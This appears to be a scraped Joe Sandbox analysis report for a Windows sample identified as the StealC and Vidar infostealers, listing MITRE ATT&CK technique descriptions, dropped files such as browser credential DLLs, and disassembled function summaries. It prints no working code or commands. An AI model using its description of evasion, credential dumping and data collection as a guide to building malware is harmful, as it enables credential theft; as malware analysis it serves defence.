Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFHIIDH

C:\ProgramData\AAFHIIDHJEBFBFIDAKFBAFCBFI

C:\ProgramData\AFCBKFHJJJKKFHIDAAKF

C:\ProgramData\BAKJKFHCAEGDHIDGDHDAKEGHCG

C:\ProgramData\EHCFBFBAEBKJKEBGCAEHCFCBAE

C:\ProgramData\GDBKJDGIJECFIEBFIDHC

C:\ProgramData\HIIEBAFCBKFIDGCAKKKF

C:\ProgramData\JKJEHJKJ

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 006F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 006E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 006EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 006F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 006F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 006E7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 006F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 006E5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre